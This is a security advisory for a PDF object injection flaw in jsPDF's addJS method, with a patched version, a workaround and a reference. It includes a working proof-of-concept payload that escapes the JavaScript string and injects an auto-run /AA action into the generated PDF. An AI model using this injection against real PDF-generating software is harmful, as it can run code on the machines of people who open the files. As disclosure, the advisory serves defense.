jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method

Impact

User control of the argument of the addJS method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.

import { jsPDF } from "jspdf";
const doc = new jsPDF();
// Payload:
// 1. ) closes the JS string.
// 2. > closes the current dictionary.
// 3. /AA ... injects an "Additional Action" that executes on focus/open.
const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>";

doc.addJS(maliciousPayload);
doc.save("vulnerable.pdf");

Patches

The vulnerability has been fixed in jspdf@4.2.0.

Workarounds

Escape parentheses in user-provided JavaScript code before passing them to the addJS method.

References

https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md